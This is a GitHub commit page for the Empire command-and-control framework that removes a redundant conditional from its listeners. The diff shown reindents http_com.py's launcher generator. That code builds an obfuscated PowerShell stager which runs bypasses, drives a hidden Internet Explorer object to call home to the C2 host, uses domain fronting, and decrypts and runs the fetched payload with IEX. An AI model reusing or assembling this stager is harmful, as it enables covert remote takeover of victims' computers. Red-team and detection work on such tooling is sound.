Skip to content

Commit

Permalink
remove unneeded condiiton from all listeners (#719)
Browse files Browse the repository at this point in the history
  • Loading branch information
vinnybod authored Oct 29, 2023
1 parent 4a84a69 commit f93afd9
Show file tree
Hide file tree
Showing 10 changed files with 1,501 additions and 1,592 deletions.
1 change: 1 addition & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
- Modernized the Python and IronPython agents with new agent and staging code (@Cx01N)
- Added automatic tasking for sysinfo for stageless agents (@Cx01N)
- Updated listeners to consistently use port 80 and 443 for HTTP traffic by default (@Cx01N)
- Remove unneeded condition statement from all listeners (@Vinnybod)

## [5.7.3] - 2023-10-17

Expand Down
350 changes: 171 additions & 179 deletions empire/server/listeners/dbx.py

Large diffs are not rendered by default.

525 changes: 255 additions & 270 deletions empire/server/listeners/http.py

Large diffs are not rendered by default.

214 changes: 103 additions & 111 deletions empire/server/listeners/http_com.py
Original file line number Diff line number Diff line change
Expand Up @@ -208,130 +208,122 @@ def generate_launcher(
log.error("listeners/http_com generate_launcher(): no language specified!")
return None

# Previously, we had to do a lookup for the listener and check through threads on the instance.
# Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified
# further, but for now keeping as is since 5.0 has enough rewrites as it is.
if (
True
): # The true check is just here to keep the indentation consistent with the old code.
active_listener = self
# extract the set options for this instantiated listener
listenerOptions = active_listener.options
active_listener = self
# extract the set options for this instantiated listener
listenerOptions = active_listener.options

host = listenerOptions["Host"]["Value"]
launcher = listenerOptions["Launcher"]["Value"]
staging_key = listenerOptions["StagingKey"]["Value"]
profile = listenerOptions["DefaultProfile"]["Value"]
requestHeader = listenerOptions["RequestHeader"]["Value"]
uris = [a for a in profile.split("|")[0].split(",")]
stage0 = random.choice(uris)
customHeaders = profile.split("|")[2:]

if language.startswith("po"):
# PowerShell

stager = '$ErrorActionPreference = "SilentlyContinue";'
if safeChecks.lower() == "true":
stager = "If($PSVersionTable.PSVersion.Major -ge 3){"

for bypass in bypasses:
stager += bypass
stager += "};"
stager += "[System.Net.ServicePointManager]::Expect100Continue=0;"

# TODO: reimplement stager retries?

# check if we're using IPv6
listenerOptions = copy.deepcopy(listenerOptions)
bindIP = listenerOptions["BindIP"]["Value"]
port = listenerOptions["Port"]["Value"]
if ":" in bindIP:
if "http" in host:
if "https" in host:
host = (
"https://" + "[" + str(bindIP) + "]" + ":" + str(port)
)
else:
host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port)
host = listenerOptions["Host"]["Value"]
launcher = listenerOptions["Launcher"]["Value"]
staging_key = listenerOptions["StagingKey"]["Value"]
profile = listenerOptions["DefaultProfile"]["Value"]
requestHeader = listenerOptions["RequestHeader"]["Value"]
uris = [a for a in profile.split("|")[0].split(",")]
stage0 = random.choice(uris)
customHeaders = profile.split("|")[2:]

# code to turn the key string into a byte array
stager += (
f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');"
)
if language.startswith("po"):
# PowerShell

# this is the minimized RC4 stager code from rc4.ps1
stager += listener_util.powershell_rc4()

# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
staging_key,
sessionID="00000000",
language="POWERSHELL",
meta="STAGE0",
additional="None",
encData="",
)
b64RoutingPacket = base64.b64encode(routingPacket)
stager = '$ErrorActionPreference = "SilentlyContinue";'
if safeChecks.lower() == "true":
stager = "If($PSVersionTable.PSVersion.Major -ge 3){"

for bypass in bypasses:
stager += bypass
stager += "};"
stager += "[System.Net.ServicePointManager]::Expect100Continue=0;"

# TODO: reimplement stager retries?

# check if we're using IPv6
listenerOptions = copy.deepcopy(listenerOptions)
bindIP = listenerOptions["BindIP"]["Value"]
port = listenerOptions["Port"]["Value"]
if ":" in bindIP:
if "http" in host:
if "https" in host:
host = "https://" + "[" + str(bindIP) + "]" + ":" + str(port)
else:
host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port)

# code to turn the key string into a byte array
stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');"

# this is the minimized RC4 stager code from rc4.ps1
stager += listener_util.powershell_rc4()

# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
staging_key,
sessionID="00000000",
language="POWERSHELL",
meta="STAGE0",
additional="None",
encData="",
)
b64RoutingPacket = base64.b64encode(routingPacket)

stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;"
stager += (
f"$ser={ helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';"
)

# add the RC4 packet to a header location
stager += f'$c="{ requestHeader }: { b64RoutingPacket }'

# Add custom headers if any
modifyHost = False
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(":")[0]
headerValue = header.split(":")[1]

stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;"
stager += f"$ser={ helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';"
if headerKey.lower() == "host":
modifyHost = True

# add the RC4 packet to a header location
stager += f'$c="{ requestHeader }: { b64RoutingPacket }'
stager += f"`r`n{ headerKey }: { headerValue }"

# Add custom headers if any
modifyHost = False
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(":")[0]
headerValue = header.split(":")[1]
stager += '";'
# If host header defined, assume domain fronting is in use and add a call to the base URL first
# this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
if modifyHost:
stager += "$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};"

if headerKey.lower() == "host":
modifyHost = True
stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);"
stager += "while($ie.busy){Start-Sleep -Milliseconds 100};"
stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;"
stager += (
"try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}"
)
stager += "$iv=$data[0..3];$data=$data[4..$data.length];"

stager += f"`r`n{ headerKey }: { headerValue }"
# decode everything and kick it over to IEX to kick off execution
stager += "-join[Char[]](& $R $data ($IV+$K))|IEX"

stager += '";'
# If host header defined, assume domain fronting is in use and add a call to the base URL first
# this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
if modifyHost:
stager += "$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};"
# Remove comments and make one line
stager = helpers.strip_powershell_comments(stager)
stager = data_util.ps_convert_to_oneliner(stager)

stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);"
stager += "while($ie.busy){Start-Sleep -Milliseconds 100};"
stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;"
stager += (
"try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}"
if obfuscate:
stager = self.mainMenu.obfuscationv2.obfuscate(
stager,
obfuscation_command=obfuscation_command,
)
stager += "$iv=$data[0..3];$data=$data[4..$data.length];"

# decode everything and kick it over to IEX to kick off execution
stager += "-join[Char[]](& $R $data ($IV+$K))|IEX"

# Remove comments and make one line
stager = helpers.strip_powershell_comments(stager)
stager = data_util.ps_convert_to_oneliner(stager)

if obfuscate:
stager = self.mainMenu.obfuscationv2.obfuscate(
stager,
obfuscation_command=obfuscation_command,
)
stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)

# base64 encode the stager and return it
if encode and (
(not obfuscate) or ("launcher" not in obfuscation_command.lower())
):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)

# base64 encode the stager and return it
if encode and (
(not obfuscate) or ("launcher" not in obfuscation_command.lower())
):
return helpers.powershell_launcher(stager, launcher)
else:
log.error(
"listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module."
)
# otherwise return the case-randomized stager
return stager

else:
log.error(
"listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module."
)

def generate_stager(
self,
Expand Down
Loading

0 comments on commit f93afd9

Please sign in to comment.